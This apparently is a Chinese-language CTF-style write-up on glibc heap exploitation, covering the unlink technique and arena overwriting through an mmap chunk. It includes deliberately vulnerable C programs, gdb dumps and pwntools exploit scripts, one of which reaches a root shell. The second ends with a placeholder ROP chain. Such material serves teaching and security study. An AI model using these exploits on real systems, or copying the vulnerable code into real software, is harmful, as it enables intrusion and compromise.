Unlink
非fastbinchunk在free的时候,会检查前后是否是freed,然后合并freed.
通过pre_size进入到前一个chunk,然后将这个chunk从它的double-link list中unlink,unlink操作如下
#define unlink(P,BK,FD){
FD = P ->fd;
BK = P ->bk;
if (FD->bk ! = P || BK -> fd != P) //对前一个chunk进行检查,double link list指过去的那个chunk,是否指回来
malloc_printerr (check_action,"corrupted d...",P);
else{
FD ->bk = BK;
BK ->fd = FD;
}
}
#include <stdio.h>
#include <stdlib.h>
int main(){
void *p = malloc(130);//非fastbin,大于120
void *q = malloc(130);
void *r = malloc(130);
free(p);
free(q);
}
overwrite heap pointer
p ->fd =&p -0x18
p ->bk =&p -0x10
结果p = &p - 0x18
,就是unlink操作让这个指针指向了它的前24个byte的地方
漏洞代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char* cmd; //指针
void sh(char *c){
system(c);
}
int main(){
char* ptr[8]; //8个长度为8的指针
int size,n;
setvbuf(stdout,0,_IONBF,0);
memset(ptr,0,sizeof(ptr)); //指针置零
cmd = malloc(128);
while(1){
fgets(cmd,128,stdin); //输入写到指针位置
if (!strncmp(cmd,"add",3)){ //前三个字节是否是add
printf("Index: ");
scanf("%d",&n); //将index值写入n
if (n>=0 && n<8){
printf("Size: ");
scanf("%d%*c",&size); //将size写入size
ptr[n] = malloc(size);
printf("Data: ");
gets(ptr[n]);
} else{
puts("out of bound");
}
} else if (!strncmp(cmd,"remove",6)){
printf("Index: ");
scanf("%d%*c",&n); //将index写入index
if (n>=0 && n<8 && ptr[n]){
puts(ptr[n]);
free(ptr[n]); //free掉那个chunk
ptr[n] = 0; //指针置零
} else {
puts("nothing here");
}
} else {
puts("unknow command");
}
}
return 0;
}
cmd处位置如下
gdb-peda$ x/6gx 0x602010
0x602010: 0x000a65766f6d6572 0x0000000000000000
0x602020: 0x0000000000601090 0x0000000000601098 (fd,bk)
查看fd指向的那个chunk,其中的bk是否指了回来
gdb-peda$ x/4gx 0x0000000000601090
0x601090 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd82a0 0x00007ffff7dd84e0
0x6010a0 <completed.6355>: 0x0000000000000000 0x0000000000602010
再查看bk指向的那个chunk,其中的fd是否指了回来
gdb-peda$ x/4gx 0x0000000000601098
0x601098 <stdin@@GLIBC_2.2.5>: 0x00007ffff7dd84e0 0x0000000000000000
0x6010a8 <cmd>: 0x0000000000602010 0x0000000000000000
发现此时可以满足unlink条件,unlink操作之后&p指向了它的前24个byte地址处,然后我们通过fget再次覆盖&p,使它指向malloc,其中malloc地址如下
gdb-peda$ x/4i 0x400780
0x400780 <malloc@plt>: jmp QWORD PTR [rip+0x2008e2] #
0x400786 <malloc@plt+6>: push 0xa
0x40078b <malloc@plt+11>: jmp 0x4006d0
fget地址
0x400750 <fgets@plt>: jmp QWORD PTR [rip+0x2008fa] # 0x601050
0x400756 <fgets@plt+6>: push 0x7
0x40075b <fgets@plt+11>: jmp 0x4006d0
最终exp
from pwn import *
context.terminal = ['tmux', 'splitw', '-h'] #程序在在tmux中运行,
def add(index,size,data):
p.sendline('add')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Data: ')
p.sendline(data)
def remove(index):
p.sendline('remove')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvline()
cmd = 0x600f48 #指针位置,指向了buf
p = process('./unlinkmorty')
raw_input('#')
add(0,128,"A"*100)
add(1,128,"B"*100)
remove(0)
p.sendline("add\0AAAA"+p64(0)+p64(cmd-0x18)+p64(cmd-0x10))
p.recvuntil('Index: ')
p.sendline(str(2))
p.recvuntil('Size: ')
p.sendline(str(128))
p.recvuntil('Data: ')
p.sendline("C"*128+p64(272)+p64(0x90)+p64(0xafafafaf)) #padding+ pre_size + size + fd
remove(1)
p.sendline(p64(0x00007ffff7dd82a0)+p64(0x00007ffff7dd84e0)+p64(0)+p64(0x600f08)) #stdout,stdin,completed,&cmd (0x600f08是malloc的前一个地址)
p.recvline()
p.sendline('add\0sh\0A'+p64(0x40086d)) #注意这里写了sh, 之后就是覆盖了malloc为sh
p.recvuntil('Index: ')
p.sendline(str(1))
p.recvuntil('Size: ')
p.sendline(str(int(0x600f0c))) #这个就是sh的地址
p.interactive()
运行的结果
python exp.py
[+] Starting local process './unlinkmorty': pid 13790
#
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)
mmap和arena
size超过0x21000,会改用mmap
平常使用的arena在内部的main_arena,malloc根据tls段上的指标,决定要使用的arena,mmap chunk overflow可以盖掉arena指针,我们可以伪造arena上的fastbin部分,这样下次malloc就可以获得伪造的chunk
#include <stdio.h>
#include <stdlib.h>
int main(){
void *tmp = malloc(10);
void *p = malloc(0x21000);
void *q = malloc(0x21000);
void *s = malloc(0x21000);
}
第一次
gdb-peda$ vmmap
Start End Perm Name
0x00007ffff7dd6000 0x00007ffff7ddb000 rw-p mapped
0x00007ffff7ddb000 0x00007ffff7dfd000 r-xp /usr/lib64/ld-2.17.so
0x00007ffff7fe7000 0x00007ffff7fea000 rw-p mapped
0x00007ffff7ff9000 0x00007ffff7ffa000 rw-p mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib64/ld-2.17.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib64/ld-2.17.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
第二次
gdb-peda$ vmmap
Start End Perm Name
0x00007ffff7dd6000 0x00007ffff7ddb000 rw-p mapped
0x00007ffff7ddb000 0x00007ffff7dfd000 r-xp /usr/lib64/ld-2.17.so
0x00007ffff7fc5000 0x00007ffff7fea000 rw-p mapped
0x00007ffff7ff9000 0x00007ffff7ffa000 rw-p mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib64/ld-2.17.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib64/ld-2.17.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
第三次
gdb-peda$ vmmap
Start End Perm Name
0x00007ffff7dd6000 0x00007ffff7ddb000 rw-p mapped
0x00007ffff7ddb000 0x00007ffff7dfd000 r-xp /usr/lib64/ld-2.17.so
0x00007ffff7fa3000 0x00007ffff7fea000 rw-p mapped
0x00007ffff7ff9000 0x00007ffff7ffa000 rw-p mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib64/ld-2.17.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib64/ld-2.17.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
第四次
gdb-peda$ vmmap
Start End Perm Name
0x00007ffff7dd6000 0x00007ffff7ddb000 rw-p mapped
0x00007ffff7ddb000 0x00007ffff7dfd000 r-xp /usr/lib64/ld-2.17.so
0x00007ffff7f81000 0x00007ffff7fea000 rw-p mapped
0x00007ffff7ff9000 0x00007ffff7ffa000 rw-p mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib64/ld-2.17.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib64/ld-2.17.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
漏洞代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void sh(char *c){
system(c);
}
char cmd[1024];
int main(){
char* ptr[8]; //8个长度为8的指针
char magic[32];
int size,n;
setvbuf(stdout,0,_IONBF,0);
memset(ptr,0,sizeof(ptr)); //ptr置零
gets(magic);
while(1){
fgets(cmd,1024,stdin); //从输入中读取到cmd中
if (!strncmp(cmd,"add",3)){
printf("Index: ");
scanf("%d",&n); //输入放到index
if (n>=0 && n<8){
printf("Size: ");
scanf("%d%*c",&size); //输入放到size中
ptr[n] = malloc(size);
printf("Data: ");
gets(ptr[n]); //输入放到Data中
} else {
puts("out of bound");
}
} else if (!strncmp(cmd,"print",5)){
printf("Index: ");
scanf("%d",&n);
if (n>=0 && n<8 && ptr[n]){
printf("Size: ");
scanf("%d%*c",&size);
write(1,ptr[n],size);
}else {
puts("nothing here");
}
} else if (!strncmp(cmd,"exit",4)){
break;
} else {
puts("unknown command");
}
}
return 0;
}
编译gcc -g -fstack-protector arena_morty.c -o arena_morty
exp
from pwn import *
r = remote('127.0.0.1',4000)
def add(idx,sz,data):
r.send('add\n')
r.send(str(idx)+'\n')
r.send(str(sz)+'\n')
r.recvuntil('Data: ')
r.send(data+'\n')
def prt(idx,sz):
r.send('print\n')
r.send(str(idx)+'\n')
r.recvuntil('Size: ')
r.send(str(sz)+'\n')
return r.recvn(sz)
r.send(p64(0)+p64(0x72)+'\n')
cmd = 0x6010c0
add(0,0x21000,'')
z= prt(0,0x23a00)
for i in range(0,len(z),8):
x= u64(z[i:i+8])
if x!=0:
print hex(i),hex(x)
r.interactive()
运行结果
python exp.py
[+] Starting local process './arena_morty': pid 20016
0x21ff0 0xf
0x22000 0x1
0x22010 0x7fe84d3dd680
0x22018 0x1
0x23670 0x7fe84d1bdf20
0x23678 0x7fe84d1c1c20
0x23688 0x7fe84cf660c0
0x23690 0x7fe84cf65ac0
0x23698 0x7fe84cf669c0
0x236b8 0x7fe84d1bd620 <-main_arena
0x236f0 0x7fe84d3dd700
0x236f8 0x7fe84d3dc010
0x23700 0x7fe84d3dd700
0x23718 0xb637ec162804a00 <-canary
0x23720 0x9f94d0477d485075
0x239f0 0x7fff6d7012a0 <-stack pointer
gdb上验证main_arena位置
gdb-peda$ x/gx 0x7f8071561760
0x7f8071561760 <main_arena>: 0x0000000100000000
在stack pointer附近找
gdb-peda$ x/30gx 0x7fff6d7012a0-160
0x7fff6d701200: 0x0000000000000000 0x0000000000000000
0x7fff6d701210: 0x0000000000000000 0x0000000000000000
0x7fff6d701220: 0x0000000000000000 0x0000000000000000
0x7fff6d701230: 0x0000000000000000 0x0000000000000072
0x7fff6d701240: 0x00007fe84d1d1500 0x0000000000000000
0x7fff6d701250: 0x0000000000400b90 0x0b637ec162804a00 <-canary
0x7fff6d701260: 0x00007fff6d701350 0x0000000000000000
0x7fff6d701270: 0x0000000000000000 0x00007fe84ce417d3 <-return address
0x7fff6d701280: 0x0000000000000000 0x00007fff6d701358
0x7fff6d701290: 0x0000000100000000 0x0000000000400927
0x7fff6d7012a0: 0x0000000000000000 0xa08efa90a0eb3f29
0x7fff6d7012b0: 0x0000000000400820 0x00007fff6d701350
0x7fff6d7012c0: 0x0000000000000000 0x0000000000000000
0x7fff6d7012d0: 0x5f70207085eb3f29 0x5f5e63588ffd3f29
0x7fff6d7012e0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/i 0x00007fe84ce417d3
0x7fe84ce417d3 <__libc_start_main+384>: jmp 0x7fe84ce4181e <__libc_start_main+459>
查看magic变量的位置r.send('AAAABBBB\n')
gdb-peda$ x/20gx 0x7ffde94b3b90-160
0x7ffde94b3af0: 0x0000000000000000 0x0000000000000000
0x7ffde94b3b00: 0x0000000000000000 0x0000000000000000
0x7ffde94b3b10: 0x0000000000000000 0x0000000000000000
0x7ffde94b3b20: 0x4242424241414141 0x0000000000400b00 <-magic 位置
0x7ffde94b3b30: 0x00007f54a140054a 0x0000000000000000
0x7ffde94b3b40: 0x0000000000400b90 0xa4b14aebb5622800 <-canary
0x7ffde94b3b50: 0x00007ffde94b3c40 0x0000000000000000
0x7ffde94b3b60: 0x0000000000000000 0x00007f54a10707d3 <-return address
0x7ffde94b3b70: 0x0000000000000000 0x00007ffde94b3c48
0x7ffde94b3b80: 0x0000000100000000 0x0000000000400927
把stack上的伪造的东西当成main_area
gdb-peda$ p/x *(struct malloc_state*)ar_ptr
$6 = {
mutex = 0x0,
flags = 0x1,
fastbinsY = {0x7ffd0d8cd3f0, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x0,
last_remainder = 0x0,
bins = {0x0 <repeats 254 times>},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x0,
next_free = 0x0,
system_mem = 0x0,
max_system_mem = 0x0
}
fastbin[0]在stack上
gdb-peda$ x/4gx 0x7ffd0d8cd3f0
0x7ffd0d8cd3f0: 0x4242424241414141 0x0000000000000020
0x7ffd0d8cd400: 0x00007f3ac40d8500 0x0000000000000000
最终的exp
from pwn import *
#r = remote('127.0.0.1',4000)
r = process('./arena_morty')
def add(idx,sz,data):
r.send('add\n')
r.send(str(idx)+'\n')
r.send(str(sz)+'\n')
r.recvuntil('Data: ')
r.send(data+'\n')
def prt(idx,sz):
r.send('print\n')
r.send(str(idx)+'\n')
r.recvuntil('Size: ')
r.send(str(sz)+'\n')
return r.recvn(sz)
#r.send(p64(0)+p64(0x72)+'\n')
r.send('AAAABBBB'+p64(0x20|2)+'\n')
cmd = 0x6010c0
add(0,0x21000,'')
z= prt(0,0x23a00)
for i in range(0,len(z),8):
x= u64(z[i:i+8])
if x!=0:
print hex(i),hex(x)
#raw_input('#')
stack = u64(z[0x239f0:0x239f0+8])
canary = u64(z[0x23718:0x23718+8])
print 'stack '+hex(stack)
print 'canary ' + hex(canary)
raw_input('#')
chunk = stack -112
arena_off = 0x236b8
#add(1,0x21000,'A'*0x22000 + z[:arena_off])
data = 'A'*0x22000 + z[:arena_off] + p64(cmd+16)
r.send('add'.ljust(16)+(p32(0)+p32(1)+p64(chunk))+ '\n')
r.send(str(1)+'\n')
r.send(str(0x21000)+'\n')
r.recvuntil('Data: ')
r.send(data+'\n')
rop = flat(
0xdeadbeef
)
add(2,10,'A'*24 + p64(canary) + 'A'*24 + rop)
r.interactive()